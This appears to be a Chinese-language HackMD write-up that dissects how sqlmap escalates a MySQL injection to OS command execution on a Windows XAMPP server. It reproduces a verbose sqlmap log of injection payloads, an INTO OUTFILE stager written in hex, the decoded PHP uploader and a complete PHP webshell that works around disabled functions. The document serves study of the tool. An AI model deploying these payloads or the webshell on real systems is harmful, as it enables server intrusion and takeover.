Try   HackMD
tags: sqlmap

SQLmap MySQL to RCE 原理

0x01 注入過程研究

下面附上我那次注入過程使用「-v 3」參數的詳細過程,然後拆解講解(有將原本的過程透漏的機敏資訊抹去)

--- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1' AND 1641=1641 AND 'ZwTn'='ZwTn Vector: AND [INFERENCE] Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1' OR (SELECT 3728 FROM(SELECT COUNT(*),CONCAT(0x7178786a71,(SELECT (ELT(3728=3728,1))),0x7171706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'KxrA'='KxrA Vector: OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 1836 FROM (SELECT(SLEEP(10)))TMuf) AND 'ftci'='ftci Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) --- [00:35:55] [INFO] the back-end DBMS is MySQL [00:35:55] [DEBUG] searching for error chunk length... [00:35:55] [PAYLOAD] 1' OR (SELECT 4616 FROM(SELECT COUNT(*),CONCAT(0x7178786a71,(SELECT REPEAT(0x34,1024)),0x7171706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'AATF'='AATF [00:35:59] [PAYLOAD] 1' OR (SELECT 2371 FROM(SELECT COUNT(*),CONCAT(0x7178786a71,(SELECT REPEAT(0x32,512)),0x7171706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'bcAj'='bcAj [00:36:04] [PAYLOAD] 1' OR (SELECT 2375 FROM(SELECT COUNT(*),CONCAT(0x7178786a71,(SELECT REPEAT(0x36,256)),0x7171706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'FRBX'='FRBX [00:36:08] [PAYLOAD] 1' OR (SELECT 2208 FROM(SELECT COUNT(*),CONCAT(0x7178786a71,(SELECT REPEAT(0x34,54)),0x7171706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'DbAc'='DbAc [00:36:14] [PAYLOAD] 1' OR (SELECT 3072 FROM(SELECT COUNT(*),CONCAT(0x7178786a71,(SELECT (CASE WHEN (VERSION() LIKE 0x254d61726961444225) THEN 1 ELSE 0 END)),0x7171706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'dxjw'='dxjw [00:36:18] [DEBUG] performed 5 queries in 22.83 seconds web server operating system: Windows web application technology: Apache 2.4.33, PHP 7.2.4 back-end DBMS: MySQL >= 5.0 (MariaDB fork) [00:36:18] [INFO] going to use a web backdoor for command prompt [00:36:18] [DEBUG] going to use '/tmp' as temporary files directory [00:36:18] [INFO] fingerprinting the back-end DBMS operating system [00:36:18] [PAYLOAD] 1' OR (SELECT 1749 FROM(SELECT COUNT(*),CONCAT(0x7178786a71,(SELECT (CASE WHEN (0x57=UPPER(MID(@@version_compile_os,1,1))) THEN 1 ELSE 0 END)),0x7171706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Mvyq'='Mvyq [00:36:22] [DEBUG] performed 1 query in 4.40 seconds [00:36:22] [INFO] the back-end DBMS operating system is Windows which web application language does the web server support? [1] ASP [2] ASPX [3] JSP [4] PHP (default) > 4 [00:36:22] [DEBUG] used the default behavior, running in batch mode [00:36:22] [INFO] retrieved the web server document root: 'C:\xampp\htdocs' [00:36:22] [INFO] retrieved web server absolute paths: 'C:/xampp/htdocs/quote/header.php, C:/xampp/htdocs/back/function/select_function.php, C:/xampp/htdocs/index.php, C:/xampp/htdocs/quote/footer.php' [00:36:22] [INFO] trying to upload the file stager on 'C:/xampp/htdocs/' via LIMIT 'LINES TERMINATED BY' method [00:36:22] [PAYLOAD] 1' LIMIT 0,1 INTO OUTFILE 'C:/xampp/htdocs/tmpuuhkb.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d433a5c5c78616d70705c5c6874646f63735c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- - [00:36:27] [DEBUG] trying to see if the file is accessible from 'https://www.test.com.tw:443/xampp/htdocs/tmpuuhkb.php' [00:36:31] [DEBUG] page not found (404) [00:36:31] [DEBUG] trying to see if the file is accessible from 'https://www.test.com.tw:443/htdocs/tmpuuhkb.php' [00:36:35] [DEBUG] trying to see if the file is accessible from 'https://www.test.com.tw:443/tmpuuhkb.php' [00:36:38] [INFO] the file stager has been successfully uploaded on 'C:/xampp/htdocs/' - https://www.test.com.tw:443/tmpuuhkb.php [00:36:46] [INFO] the backdoor has been successfully uploaded on 'C:/xampp/htdocs/' - https://www.test.com.tw:443/tmpbpxsr.php [00:36:46] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER os-shell> whoami do you want to retrieve the command standard output? [Y/n/a] Y [00:36:55] [DEBUG] used the default behavior, running in batch mode command standard output: 'server2\test' os-shell> q [00:36:58] [INFO] cleaning up the web files uploaded

解析第45行

LIMIT 0,1 INTO OUTFILE 'C:/xampp/htdocs/tmpuuhkb.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d433a5c5c78616d70705c5c6874646f63735c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a

透過下方python程式還原hex原始字串

# input: 0x70696e67202d6e203230203132372e302e302e31 # output: ping -n 20 127.0.0.1 print(f"output: {bytearray.fromhex(input('input: ')[2:]).decode()}")

可以得到

<?php if (isset($_REQUEST["upload"])) { $dir = $_REQUEST["uploadDir"]; if (phpversion() < '4.1.0') { $file = $HTTP_POST_FILES["file"]["name"]; @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die(); } else { $file = $_FILES["file"]["name"]; @move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die(); } @chmod($dir . "/" . $file, 0755); echo "File uploaded"; } else { echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data> <input type=hidden name=MAX_FILE_SIZE value=1000000000> <b>sqlmap file uploader</b><br> <input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\xampp\\htdocs\\> <input type=submit name=upload value=upload> </form>"; }

簡單說,sqlmap利用SQL語法來寫了一個上傳腳本的地方,然後SQLmap掃描站點目錄看它剛剛寫的檔有沒有寫成功,SQLmap寫檔成功之後,在透過上傳腳本傳了一個webshell上去

然後我們來到 https://www.test.com.tw:443/tmpbpxsr.php 增加參數 ?cmd=ver 後執行,在我這裡我得到

Microsoft Windows [���� 10.0.19042.1706]

webshell確實可用。
tmpbpxsr.php 腳本內容如下

<?php $c = $_REQUEST["cmd"]; @set_time_limit(0); @ignore_user_abort(1); @ini_set("max_execution_time", 0); $z = @ini_get("disable_functions"); if (!empty($z)) { $z = preg_replace("/[, ]+/", ',', $z); $z = explode(',', $z); $z = array_map("trim", $z); } else { $z = array(); } $c = $c . " 2>&1\n"; function f($n) { global $z; return is_callable($n) and !in_array($n, $z); } if (f("system")) { ob_start(); system($c); $w = ob_get_clean(); } elseif (f("proc_open")) { $y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t); $w = NULL; while (!feof($t[1])) { $w .= fread($t[1], 512); } @proc_close($y); } elseif (f("shell_exec")) { $w = shell_exec($c); } elseif (f("passthru")) { ob_start(); passthru($c); $w = ob_get_clean(); } elseif (f("popen")) { $x = popen($c, r); $w = NULL; if (is_resource($x)) { while (!feof($x)) { $w .= fread($x, 512); } } @pclose($x); } elseif (f("exec")) { $w = array(); exec($c, $w); $w = join(chr(10), $w) . chr(10); } else { $w = 0; } echo "<pre>$w</pre>";

到這裡,可以發現SQLmap就是把你下的指令再丟到webshell取得結果後在給你看,大致上是這樣,比MSSQL to RCE好用很多